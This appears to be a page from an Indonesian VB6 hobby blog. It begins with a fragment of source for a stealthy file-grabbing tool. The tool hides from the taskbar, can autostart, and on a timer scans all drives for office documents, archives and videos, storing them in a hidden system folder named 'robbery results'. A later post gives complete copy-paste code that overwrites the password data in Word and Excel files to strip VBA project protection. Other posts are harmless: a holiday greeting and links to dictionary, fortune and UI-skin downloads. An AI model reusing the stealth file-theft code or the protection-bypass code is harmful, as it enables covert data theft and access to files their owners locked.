cmdSimpan.Enabled = True
cmdUbah.Enabled = False
txtField(0).SetFocus
End Sub

Private Sub DirList_Change()
filList.Path = dirList.Path
End Sub

Private Sub DirList_LostFocus()
dirList.Path = dirList.List(dirList.ListIndex)
End Sub

Private Sub Form_Load()
On Error Resume Next
UpdateIcon Me.Icon
App.TaskVisible = False
Call BacaReg(Tempat, SubTempat, "Password", Password)
Call BacaReg(Tempat, SubTempat, "Direktori", Direktori)
Call BacaReg(Tempat, SubTempat, "Folder", Folder)
Call BacaReg(Tempat, SubTempat, "Ekstensi", Ekstensi)
Call BacaReg(Tempat, SubTempat, "UserName", UserName)
Call BacaReg(Tempat, SubTempat, "AutoStart", AutoStart)
Call BacaReg(Tempat, SubTempat, "Hidden", Hidden)
Call BacaReg(Tempat, SubTempat, "RampokSemua", RampokSemua)
For i = 0 To 4
txtField(i).Locked = True
Next i

If Direktori = "" Then
txtField(0).Text = App.Path + "\"
Else
txtField(0).Text = Direktori
End If
If Folder = "" Then
txtField(1).Text = "Hasil Merampok"
Else
txtField(1).Text = Folder
End If
If Ekstensi = "" Then
txtField(2).Text = "*.doc;*.xls;*.ppt;*.mdb;*.avi;*.zip;*.rar;*.3gp;*.rm"
filList.Pattern = "*.doc;*.xls;*.ppt;*.mdb;*.avi;*.zip;*.rar;*.3gp;*.rm"
Else
txtField(2).Text = Ekstensi
filList.Pattern = Ekstensi
End If
If UserName = "" Then
txtField(3).Text = "mr_hack"
Else
txtField(3).Text = UserName
End If
If AutoStart = "" Then
chkStart.Value = 0
ElseIf AutoStart = "True" Then
chkStart.Value = 1
ElseIf AutoStart = "False" Then
chkStart.Value = 0
End If
If Hidden = "" Then
chkHide.Value = 0
ElseIf Hidden = "True" Then
chkHide.Value = 1
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
ElseIf Hidden = "False" Then
chkHide.Value = 0
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
If RampokSemua = "" Then
optPil(0).Value = False
optPil(1).Value = True
ElseIf RampokSemua = "ON" Then
optPil(0).Value = True
optPil(1).Value = False
Timer1.Enabled = True
ElseIf RampokSemua = "OFF" Then
optPil(0).Value = False
optPil(1).Value = True
Timer1.Enabled = False
End If
DataString = Password
Translate
Password = Temp$
If Password = "" Then
MsgBox "Maaf! User Name and Password belum dimasukkan!", vbOKOnly + vbCritical, "Kosong"
Me.WindowState = 0
txtField(4).Text = "rahasia"
Else
Me.WindowState = 1
txtField(4).Text = Password
End If

End Sub

Private Sub Form_Resize()
If Me.WindowState = vbMinimized Then
Me.Hide
End If

End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim Hasil As Long
Dim HorX As Long
If Me.ScaleMode = vbPixels Then
HorX = X
Else
HorX = X / Screen.TwipsPerPixelX
End If
Select Case HorX
Case WM_LBUTTONDBLCLK 'Restore saat klik kiri beruntun.
Hasil = SetForegroundWindow(Me.hwnd)
Me.PopupMenu Me.mPopupSys
Me.Show
Case WM_RBUTTONUP 'Tampilkan menu Popup saat klik kanan.
Hasil = SetForegroundWindow(Me.hwnd)
Me.PopupMenu Me.mPopupSys
Me.Show
End Select
End Sub

Private Sub Form_Unload(Cancel As Integer)
Shell_NotifyIcon NIM_DELETE, nID
End
End Sub

Private Sub mMinimize_Click()
Me.WindowState = 1
End Sub

Private Sub mnExit_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
If Password = "" Then
End
Else
frmPassword.Show
End If
End Sub

Private Sub mPembuat_Click()
MsgBox "Dibuat oleh mr_hack" + Chr(13) + _
"E-mail : mr_hack77@yahoo.com" + Chr(13) + _
"E-mail : hack.chin@gmail.com" + Chr(13) + _
"thank to:" + Chr(13) + _
"Semua teman-teman yogyafree.net" + Chr(13) + _
"Semua teman-teman vb-bego.com" + Chr(13) + _
"All friend", vbOKOnly + vbInformation, "Sing Gawe"
End Sub

Private Sub mRestore_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
If Password = "" Then
MsgBox "Maaf! User Name and Password belum dimasukkan!", vbOKOnly + vbCritical, "Kosong"
Me.WindowState = 0
txtField(4).Text = "rahasia"
Else
frmPassword.Show
End If
End Sub

Private Sub optPil_Click(Index As Integer)
If optPil(0).Value = True Then
Timer1.Enabled = True
filList.Pattern = txtField(2).Text
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "ON")
Else
Timer1.Enabled = False
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "OFF")
End If
End Sub

Private Sub Timer1_Timer()
For i = 1 To Len(CariDrive) Step 3
Rampok Mid$(CariDrive, i, 2)
Next i
End Sub

Read more

Marhaban ya Ramadhan

Sebentar lagi kita akan menjalankan ibadah puasa. untuk itu biar saya dapat menjalankan ibadah dengan suci saya mohon maaf kepada seluruh saja yang membaca di blog saya. semoga kita dapat menjalani ibadah puasa ini dengan sabar dan bersih.

Read more

Program Kamus dengan VB6

Mungkin anda pernah menggunakan program kamus yang sudah anda kemudian anda berfikir gimana cara membuatnya? berikut aku berikan project kamus sederhana. tetapi ni source code bukan saya yang buat melainkan tomero dari www.ninja-ceria.tk aku mendapatkannya dari cd yogyafree. sedikti berbagi aja yang belum mendapatkan cd YF. silahkan klik disini. jalan lupa tinggalkan komentar ya

Read more

Program Ramalan

Ni program aku buat karena keinginan saya dulu bisa membuat program yang pernah aku lihat, pada waktu itu ku melihat ada sebuah program yang dapat meramal berdsarkan tanggal lahir, sehingga aku berusaha untuk membuatnya, program ini aku buat sekitar tahun 2004 jadi ya mungkin aja masih ada buanyak kekurangan.
Untuk dapat membuatnya silahkan baca selanjutnya

Pada waktu aku membuat tu project aku belum tahu cara membuat sebuah tampilan yang bagus jadi ya, aku buat pakai gambar2 yang tersedia di wind*ws.
sebagai persiapan aku siapkan
1. Kompiku yang pentium pada waktu itu (sekarang pentium 2)
wah ga aa peningkatan yang berarti
2. Program ramalan yang ada, untuk melihat ramalan2 yang ada,
dulu aku CoPas yang hasil ramalannya
3. Program VB 6.0
4. Ga ngrokok jadi ya yang pakai rokok, permen apalagi ganja hehee
5. Siapkan fisik aja

Pertama anda buat dulu projectnya dengan satu form, kemudian berikan beberapa label dan teksbox, kemudian kamu berikan module wah kelamaan ya bahasnya langsung aja deh kamu donlot aja projectnya di sini
chung

Read more

Mbobol Password VBA

Setelah sekian lama file ini ga ketemu (Mengapa aku posting ni tulisan karena lebih dari 2 bulan yang lalu aku buat VBA di excell n aku protect dengan password tapi aku lupa tu password hehe maklum pelupa), 1 minggu lalu aku ketemukan akan tetapi akan pindah di hardisk yang salah alias aku pindah di hardisk yang kena badsector jadi ya hilang lagi deh..... Setelah sekian lama aku diamkan tu hardisk sampai 1 minggu maka berhasil juga aku buka tu hardisk, hehe akhirnya aku buatkan juga gimana cara crack atau merubah password pada Microsoft Word maupun Excell yang didalamnya ada VBA yang di password. Ni Tutorial aku dapatkan pada site www.vb-bego.net pada tahun 2006 yang dibuat oleh Anti Hacker.
Silahkan anda ikuti berikut ini:

Untuk mencoba source ini jalan apa nggak, coba bikin satu dokumen word atau excel, kemudian tekan ALT+F11 (maksudnya biar masuk ke VBA editorya) nah kalo udah berada pada VBA Editor, coba tambahkan beberapa component object. spt: module, form atau class.
Selanjutnya coba kamu proteksi VBA tersebut dengan cara klik kanan pada Project Explorer, kemudian pilih ...Properties...kemudian pilih TAB Protection.
Coba masukan password apa aja untuk mencobanya. kemudian save.
nah sekarang kita tinggal buat programnya.....hm..m...m.mmm..spt biasa tinggal Copy Paste nih source..., ok deh broo selamat mencoba.

Siapkan aja Form1 dan Command1 kemudian Copy Pastekan source berikut

Option Explicit
'// Header Password Untuk VBA
Const vbbego72 = "E9EB458A628A62759E8B62EFEB0B9567D2F09" & _
"604067445E7DBDA0C1565BA2023778FEFF9"
Const vbbego74 = "C2C06E8D52AA52AAAD5653AAE9253D286E4EE" & _
"E66E86F219911B87D7162FD74EEF579FEB513"
Const vbbego76 = "ADAF0155017E1E7E1E81E27F1E1BAF57D1DB8" & _
"E045A28FA28492BA70640C9B1EEEC57ABBBD325"
Const vbbegoxx = "5654FA3F0641585E585EA7A2595EDCE369B3D" & _
"FBAB6E0DBB94699F7682AD4B8EF5510B4E293F62A"

Private Sub Command1_Click()
Dim hFile As String
Dim inFile As Long, nLoop As Long
Dim Header As String
Dim State As Boolean
'// Header Key VBA Password
Header = Chr(&HD) & Chr(&HA) & Chr(&H44) & Chr(&H50) & _
Chr(&H42) & Chr(&H3D) & Chr(&H22)

'// Buka File Excel & Word
hFile = GetFile(Hwnd)
If Trim(hFile) <> "" Then
Dim isiDok As String * 1000
inFile = FileLen(hFile)
'// Lakukan pembackupan dokumen sebelum melakukan perubahan
Dim FileAsli As String
FileAsli = Dir(hFile & ".bak", vbNormal)
If FileAsli = "" Then
FileCopy hFile, hFile & ".bak"
End If

'// Baca Tulis Ke File
Open hFile For Binary Access Read Write As #1
'// Lakukan Pengulangan Menurut Ukuran File tsb
For nLoop = 1 To inFile Step 1000
'// Ambil Data Sebanyak 1000 Karakter
Get #1, nLoop, isiDok
DoEvents
Dim Pos1 As Long, pos2 As Long, pos3 As Long

'// Periksa Header Key Password
Pos1 = Instr(1, isiDok, Header, vbBinaryCompare)
If Pos1 Then
pos2 = nLoop + Pos1 + Len(Header) - 2
'// Ambil data pada pointer setelah Header Key
Get #1, pos2, isiDok
'// Periksa Isi data yg didapat, apakah terdapat End Key?
Pos1 = Instr(1, isiDok, Chr(&HD) & Chr(&HA), vbBinaryCompare)
If Pos1 Then
'// Hitung panjang password yang terdapat pada file
pos3 = Len(Replace(Mid(isiDok, 1, Pos1 - 1), Chr(34), ""))
If pos3 Then
Select Case pos3
Case 72
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego72
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case 74
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego74
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case 76
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego76
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case Else
'// Rubah dengan password baru
'Put #1, pos2 + 1, vbbegoxx
MsgBox "Password: komunitasvbbego", 64, "www.vbbego.com"
End Select
State = True
Exit For
End If '// Pos3
End If '// Pos1->2
End If '// Pos1->1
isiDok = ""
Next nLoop
Close #1
If State = False Then MsgBox "Password Tidak Ditemukan", _
16, "www.vbbego.com"
End If
End Sub

Setelah tu kamu tambahi Module1 kemudian tuliskan code berikut

Option Explicit
Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias _
"GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long

Private Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Function GetFile(Hwnd As Long) As String
Dim OFName As OPENFILENAME
OFName.lStructSize = Len(OFName)
OFName.hwndOwner = Hwnd
OFName.hInstance = App.hInstance
OFName.lpstrFilter = "Ms Ofice97/XP/2003(*.doc;*.xls)" _
+ Chr$(0) + "*.doc;*.xls" + Chr$(0) _
+ "Kabeh File (*.*)" + Chr$(0) + "*.*" + Chr$(0)
OFName.lpstrFile = Space$(254)
OFName.nMaxFile = 255
OFName.lpstrFileTitle = Space$(254)
OFName.nMaxFileTitle = 255
OFName.lpstrInitialDir = "C:\"
OFName.lpstrTitle = "Open File - vbBego Team 2000"
OFName.flags = 0
If GetOpenFileName(OFName) Then
GetFile = Left(OFName.lpstrFile, _
InStr(1, OFName.lpstrFile, Chr(0)) - 1)
Else
GetFile = ""
End If
End Function

Setelah selesaikan tinggal di jalankan deh dengan menekan tombol F5. Klik Aja command1 kememudian cari dokumen yang ada VBA terpassword (jangan lupa ditutup dulu ya dokumennya)

Bagi yang susah mencopy pastekan tu source code silahkan ambil aja source codenya langsung yang aku tulis. klik disini

Read more

ActiveX Aero Suite

bagi yang ingin mengubah form, textbox, progressbar dan yang lainnya berubah menjadi seperti aero suite maka anda bisa menggunakan activex AeroSuite. Berikut saya berikan link untuk mengdownload file tersebut yang disertai source code.

Bagi yang ingin donlot silahkan klik disini

Read more

Active X for VB6

dua malam berturut-turut aku mencari activex yang bagus untuk Program Visual Basic. akhirnya aku mendaptkan activex tersebut sehingga tampilannya bisa kayak Office2007. Bagi teman-teman yang ingin aplikasi visual basicnya kayak Office 2007 bisa menggunakan aktivex ini yang namanya XTreme_SuitePro yang dibuat oleh tim dari www.codejock.com.
untuk selanjutanya jika ingin mencoba silahkan.....

anda kunjungi aja site www.enfull.com.

Read more